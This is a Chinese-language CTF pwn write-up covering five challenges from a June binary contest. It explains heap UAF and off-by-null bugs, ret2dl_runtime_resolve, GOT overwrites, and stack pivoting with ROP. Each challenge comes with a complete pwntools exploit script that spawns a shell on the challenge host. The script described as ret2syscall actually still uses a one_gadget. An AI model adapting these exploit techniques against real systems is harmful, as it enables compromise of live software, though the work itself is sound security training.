6月二进制挑战赛

发布时间 2023-07-20 16:28:41作者: 何思泊河

6月二进制挑战赛

怎么说呢,太菜了,比赛的时候不堪入目,就打算复现一下

can_you_find_me

一言难尽,漏洞很简单就是uaf和off by null 打一个io leak ,在修改free_hook为system就行了,比赛的时候有一个知识点没想到,就是2.27版本并没有对tcache的数量索引进行检查,再加上这道题对free的使用有限制,只要再多一个就行了

给了一个docker自己启动一下看一下版本是2.27 1.6的

image-20230620144944787

exp

from tools import *
context.log_level='debug'
p,e,libc=load('pwn','node4.buuoj.cn:25758')

def add(size,content):
    p.sendlineafter('choice:',str(1))
    p.sendlineafter('Size:',str(size))
    p.sendlineafter('Data:',content)
def delete(index):
    p.sendlineafter('choice:',str(2))
    p.sendlineafter('Index:',str(index))
add_p=0xB75 
delete_p=0xCE7

add(0x500,b'a'*0x500)   #0
add(0x60,b'a'*0x60)#1 
add(0x10,b'a'*0x10)#2
add(0x70,b'a'*0x70)#3
add(0x5f0,b'a'*0x5f0)#4
add(0x20,b'a'*0x20)#5

delete(0)
delete(3)

add(0x78,b'a'*0x70+b'\x20\x06')  #3
delete(4)
delete(1)
delete(0)
add(0x500,b'/bin/sh\x00'+b'a'*(0x500-8))
add(0x80,b'\x60\xe7')
add(0x60,b'a')
add(0x68,p64(0xfbad1800)+p64(0)*3+b'\xc8')
libc_base=recv_libc()-0x3eba00
free_hook=libc_base+0x3ed8e8
system=libc_base+0x4f420
log_addr('libc_base')
debug(p,'pie',add_p,delete_p)
add(0x100,p64(free_hook))
add(0x70,'trunk')
add(0x70,p64(system))
delete(0)
p.interactive()

matchmaking platform

这个题有两种解法,一种是官方发的wp利用是ret2dl_runtime_resolve,之前并没深入学习过,再加上又学习了house of muney这在这里仔细分析一波

ELF关于动态链接的一些关键section

如果找不到具体位置可以用readelf -t pwn 看一下

.dynamic

主要就是动态链接的主要信息,主要有以下第三个东西

动态链接符号表的位置(Dynamic Symbol Table)、动态链接重定位表的位置、动态链接字符串表的位置(Dynamic String Table)。也就是根据这个表找到 .dynsym .dynstr .rela.plt 等段

DT_STRTAB, DT_SYMTAB, DT_JMPREL这三项,这三个东西分别包含了指向.dynstr, .dynsym, .rel.plt这3个section的指针

image-20230711145859535

.dynstr

一个字符串表,index为0的地方永远是0,然后后面是动态链接所需的字符串

image-20230711151155515

.dynsym

这个东西,是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。我们这里只关心函数符号,比方说上面的puts。结构体定义如下,每个结构体大小是0x30

typedef struct
{
  Elf32_Word    st_name; //大小是两个字  符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; //对于导入函数符号而言,它是0x12
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

image-20230711152548972

rela

这里是重定位表

也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:

image-20230712111028590

typedef struct
{
  Elf32_Addr    r_offset; //指向GOT表的指针
  Elf32_Word    r_info;
  //一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
  //1和3是这个导入函数的符号在.dynsym中的下标,
  //如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
} Elf32_Rel;

image-20230711152927072

首先就是ret2dl的调用链

1.dl_runtime_resolve 有两个参数,一个是 reloc_arg,存放着 Elf32_Rel 的指针对.rel.plt段的偏移量,一个是link_map,里面存放着一段地址,通过这段地址可以找到.dynamic段的地址

2通过 .dynamic 可以找到 .dynstr(+0x44)、.dynsym(+0x4c)、.rel.plt(+0x84) 的地址

3.rel.plt 的地址加上 reloc_arg 可以得到函数重定位表项 Elf32_Rel 的指针,里面存放着两个变量 r_offset(got表地址)和r_info

4将 r_info>>8 可以得到 .dynsym 的下标,求出当前函数对应的表项记作sym(在sym中前两个字就是对应函数的名字字符串在dynstr中的偏移)

5.dynstr+sym得到的就是 st_name,而 st_name 存放的就是要调用函数的函数名

6.在动态库中查找这个函数的真实地址

第一次调用过程

主要就是id_runtime_resolve中的di_fixup

image-20230712121448402

link_map

struct link_map
  {
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */

    ElfW(Addr) l_addr;    /* Base address shared object is loaded at.  */
    char *l_name;     /* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;      /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
};

image-20230712122023620

.dynstr、.dynsym和rel.plt的位置,分别是位于了偏移9,偏移10,和偏移17的位置

调试时

可以发现.dynstr、.dynsym偏移分别变成了0x6000和0x5000在ida中也没有这个地址,是在运行时又映射出来的

image-20230712123225067

image-20230712123209308

通过下图可以看到在运行时又将dynstr和dynsym映射到了一个新的地址中

image-20230712162043379

调用di_fisup,可以看到他的两个参数就是ilink_map和重定向表中的下标

image-20230712162429784

link_map 就是dl_runtime_resolve接受两个参数,第一个是link_map,通过这个link_map,ld链接器可以访问到dynstr、dynamic、dynsym、rel.plt等所需

一些关键代码

_dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
{
     const ElfW(Sym) *const symtab   //利用link_map找到符号表
	    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
 	 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    //利用link_map找到字符串表

	// 首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
	const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
    
    
    
	// 然后通过reloc->r_info找到.dynsym中对应的函数条目
	const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    
	// 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
	assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
	// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
	result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
	// value为libc基址加上要解析函数的偏移地址,也即实际地址
	value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
	// 最后把value写入相应的GOT表条目中
	return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);	
}

调试中的一些细节

image-20230712165115540

在调试时发现symtab和strtab表的找到和网上的有所不同

strtab就是link_map+0x68处的值加上0x8地址中的数据,rel_addr就是link_map+0xf8处的值加上0x8地址中的数据,symtab的地址是在link_map+0x70处的值加上0x8地址中的数据,找到具体的函数对应的项的偏移是(reloc->r_info)*2+reloc->r_info)

image-20230713114431873

image-20230712230934757

得到得到重定向表

image-20230713120556328

得到symtab表

image-20230713131756573

找到字符串

image-20230713131952652

最后,需要注意的是,当第一次进行延迟绑定的时候,会根据link_map开头的l_addr作为程序的基

地址,加上相应got的偏移,写入相应函数的libc地址。因此,我们这里伪造l_addr为elf_base加上

某偏移,使得在之后对free延迟绑定的时候,将system的libc地址写入puts中覆盖原有地址,并在

buf开头写入/bin/sh即可getshell

exp

from tools import *
context.log_level='debug'
p,e,libc=load('pwn')
name_p=0x1410 
free_p=0x1513 

debug(p,'pie',name_p,free_p,0x143A)  # 0x8eeb8
p.sendafter('Age >>',b'a' * 128 +b'\x80')
p.sendlineafter('Photo(URL) >>',p64(0xfbad1800) + p64(0) * 3 +  b'\xb0\x5d')
for i in range (16):
    print('--------------------'+str(i)+'-----------------------')
    pie_base = u64(p.recvuntil(b'\x55')[-6:].ljust(8,b'\x00'))-0x40a0
    log_addr('pie_base')
    if (pie_base & 0xfff) == 0:
        print('-----------------------------seccess !!!!!!!!-------------------')
        log_addr('pie_base')
        break


payload = b'/bin/sh\x00'
payload+= p64(pie_base + 0x4140 - 0x67)   #     force    strtab
payload+= b'system\x00'  #  
p.sendafter("Name >> ", payload.ljust(0x80, b'\x00') + b'\x08')


payload = p64(pie_base+8)+p64(0xdeadbbef)+p64(0xdeadbeef)
payload = payload.ljust(0x68, b'\x00') + p64(pie_base + 0x4140)
p.sendlineafter("Hobby >> ", payload)
p.interactive()
#0x205182

这道题还有一个非预期做法就比较简单了,主要还是bss段中残留了很多值,比如用来计数的值,malloc的地址,再加上可以在一定范围内任意写一个字节

攻击步骤

1、利用char类型的整数溢出修改0x40c0中的地址位stdout,

向0x40c0中地址写入p64(0xfbad1800) + p64(0) * 3 + b'\x00'打一个io leak泄露libc地址、

2、第二次整数溢出将用于计数的地址中数写为5,并写入free_hook地址

3、第三次溢出将0x40c0中的地址改写为存放有free_hook

4、第四次溢出向malloc中写入/bin/sh

exp

from tools import *
context.log_level='debug'
p,e,libc=load('pwn')
name_p=0x1410 
free_p=0x1513 
hobby_p=0x143A
age_p=0x13B3 
php_p=0x13E0
elf = ELF('./pwn')
libc=elf.libc

p.sendafter('Age >>',b'a' * 128 +b'\x80')
p.sendlineafter('Photo(URL) >>',p64(0xfbad1800) + p64(0) * 3 +  b'\x00') # divulge 
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1ec980
log_addr('libc_base')
libc.address = libc_base
debug(p,'pie',name_p,free_p,hobby_p,age_p,php_p)  
p.sendafter('Name >> ',b'a'*128+b'\x60')
p.sendlineafter('Hobby >>',p64(0) + p64(5) + p64(libc.sym.__free_hook))



p.sendafter('Age >>',b'a' * 128 +b'\x70')
p.sendlineafter('Photo(URL) >>',p64(libc.sym.system))
p.sendafter('Name >> ',b'a'*128+b'\xc8')
p.sendlineafter('Hobby >>',b'/bin/sh\x00')
p.interactive()
#0x205182

server

感觉用到大部分都是web知识,首先就是目录穿越配合对输入字数的限制

其次就是利用残留值和\将输入一个’将/bin/sh当作一个命令去执行

exp

from tools import *
context.log_level='debug'
p,e,libc=load("server","node4.buuoj.cn:26719")
p.sendlineafter("3. Exit the server\n",str(1))
payload='/../../../../../../bin/sh'
p.sendlineafter("Please input the key of admin : \n",payload)

p.sendlineafter("Your choice >> ",str(2))
payload='\''
p.sendafter("Please input the username to add : \n",payload)

p.interactive()

noka

这一题不知道为什么是零解,可能是这次放的题有点多,大哥们没有时间看吧,思路很简单,就是将malloc的got表改写为0x401254,这样就可以得到一个任意地址写的机会,那就是直接泄露地址了,然后修改一下strtol函数的got表就行了,(官方wp我看好像是通过泄露的栈地址来修改main的返回值),远程环境关了打的本地

image-20230719155922316

from tools import *
context.log_level='debug'
p,e,libc=load('noka')
def add(size,content):
    p.sendlineafter('2. show',str(1))
    p.sendlineafter('size:',str(size))
    p.sendlineafter('text:',content)
def show():
    p.sendlineafter('2. show',str(2))
def noka(addr,vul):
    p.sendlineafter('2. show',str(3))
    p.sendlineafter('Break Point:',addr)
    p.sendlineafter('Break Value:',vul)
def add_noka(size,addr,content):
    p.sendlineafter('2. show',str(1))
    p.sendlineafter('size:',str(size))
#    pause()
    p.sendline(str(addr))
    p.sendlineafter('text:',content)
add_p=0x401480
show_p=0x401365
noka_p=0x401404 

noka(str(0x404030),str(0x401254))

add_noka(10,str(0x4040a0),'\xa0')

show()
libc_base=recv_libc()-0x210aa0
log_addr('libc_base')
environ=libc_base+0x221200
log_addr('environ')
system=libc_base+0x50d60
add_noka(10,str(0x404060),p64(1))
add_noka(10,str(0x404050),b'/bin/sh\x00')
noka(str(0x404028),str(system))
p.sendlineafter('2. show',str(0x404050))
p.interactive()

A dream

一个常规的多线程的,就是通过子进程绕过父进程的沙箱 ,特殊的就是子进程中只有一个write和sleep,而且这两个函数在父进程中也有,也就说只能让父进程处于休眠状态,这样才不会因为修改某个函数的got在父进程中报错然后退出程序。我这里的思路是修改write的got表为栈溢出的地址。然后在父进程在执行sleep(1000)保持进程不意味退出就行。

漏洞利用

glibc 版本是 2.31 9.9

第一次利用栈溢出的时候完成两个功能

1、修改rbp(为下次栈溢出打一个栈迁移做准备,之所以将rbp填写为bss+0x40就是因为有个-0x40的操作)

2、修改返回地址在利用一次栈溢出(因为这第二次溢出不能恢复rbp)

image-20230720161959167

第二次进入栈溢出的时候完成两个功能

1、布置rop链完成修改write的got表,和让父进程执行sleep(0x1000)

2、修改rbp为bss-8(控制rsp),修改返回地为leave_ret

image-20230720161947620

下面的就是在子进程中的操作了,此时我们已经有了无限栈溢出的功能了

首先就是泄露出libc地址,然后打一个栈迁移就行了(子进程的栈是用mmap映射出来的,故可以通过libc地址来确定子进程的栈地址)

记得在puts的返回地址要为magic_read因为如果不写任何值的话它会按照原本的流程走下去

似乎所有的onegadget都不可以用都会报一个*** stack smashing detected ***: terminated\n'的错误不知道为什么,菜鸡表示很不李姐,那只能打ret2syscall

exp

这个是打onegdget的,报错如下

image-20230720161515499

from tools import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p,elf,libc=load('pwn_9')
read_p=0x4013AE
write_p=0x401387 
bss = elf.bss() + 0x100
magic_read = 0x4013AE

payload=b'a'*0x40+p64(bss+0x40)+p64(magic_read)   # lea    rax, [rbp - 0x40] ; mov    rsi, rax
p.send(payload)
sleep(0.1)
pop_rdi_ret = 0x401483
pop_rsi_r15_ret = 0x401481
leave_ret = 0x40136c
payload = p64(pop_rsi_r15_ret) + p64(elf.got['write']) + p64(0) + p64(elf.plt['read'])  # read (0,write@got,0x50)
payload +=  p64(pop_rdi_ret) + p64(0x1000) + p64(elf.plt['sleep'])   # sleep(0x1000)
payload = payload.ljust(0x40, b'\x00') + p64(bss-8) + p64(leave_ret)
sleep(0.1)
p.send(payload)
sleep(0.1)
p.send(p64(magic_read))
debug(p,write_p)
payload = b'a'*0x28 + p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.plt['puts']) + p64(magic_read)
pause()
p.send(payload)
libc_base = recv_libc()-libc.sym['puts']
log_addr('libc_base')
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = 0x23b6a + libc_base
pop_rsi = 0x2601f + libc_base
pop_rdx = 0x142c92 + libc_base
one=[0xe3afe,0xe3b01,0xe3b04]

payload = p64(libc_base + one[1]) + b'a'*0x38 +  p64(libc_base-0x4158) #+ p64(magic_read) p64(0xdeadbeef) +
pause()
p.send(payload)
p.interactive()

这个打ret2syscall的

from tools import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p,elf,libc=load('pwn_9')
read_p=0x4013AE
write_p=0x401387 
bss = elf.bss() + 0x100
magic_read = 0x4013AE

payload=b'a'*0x40+p64(bss+0x40)+p64(magic_read)   # lea    rax, [rbp - 0x40] ; mov    rsi, rax
p.send(payload)
sleep(0.1)
pop_rdi_ret = 0x401483
pop_rsi_r15_ret = 0x401481
leave_ret = 0x40136c
payload = p64(pop_rsi_r15_ret) + p64(elf.got['write']) + p64(0) + p64(elf.plt['read'])  # read (0,write@got,0x50)
payload +=  p64(pop_rdi_ret) + p64(0x1000) + p64(elf.plt['sleep'])   # sleep(0x1000)
payload = payload.ljust(0x40, b'\x00') + p64(bss-8) + p64(leave_ret)
sleep(0.1)
p.send(payload)
sleep(0.1)
p.send(p64(magic_read))
debug(p,write_p)
payload = b'a'*0x28 + p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.plt['puts']) + p64(magic_read)
pause()
p.send(payload)
libc_base = recv_libc()-libc.sym['puts']
log_addr('libc_base')
system = libc_base + libc.sym['system']
log_addr('system')
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = 0x23b6a + libc_base
pop_rsi = 0x2601f + libc_base
pop_rdx = 0x142c92 + libc_base
one=[0xe3afe,0xe3b01,0xe3b04]
ret= 0x40101a
payload=p64(one[1]+libc_base)
payload=payload.ljust(0x40,b'\x00')+p64(libc_base-0x4158)+p64(leave_ret)  #p64(pop_rdi)+p64(bin_sh)+p64(system)

pause()
p.send(payload)
p.interactive()